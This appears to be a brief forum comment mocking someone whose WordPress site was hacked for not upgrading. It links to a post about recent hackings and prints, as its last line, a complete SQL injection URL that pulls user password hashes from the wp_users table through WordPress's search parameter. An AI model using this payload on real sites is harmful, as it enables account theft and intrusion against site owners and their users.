LOL...
Yeah, this has been happening to a lot of people recently. The Super-Douche-Mindset never upgraded his Wordpress.
Here is a good post about the recent hackings-
Did your WordPress site get hacked?
http://www.example.com/wordpress/index.php?exact=1&sentence=1&s=%b3%27)))/**/AND/**/ID=-1/**/UNION/**/SELECT/**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/wp_users%23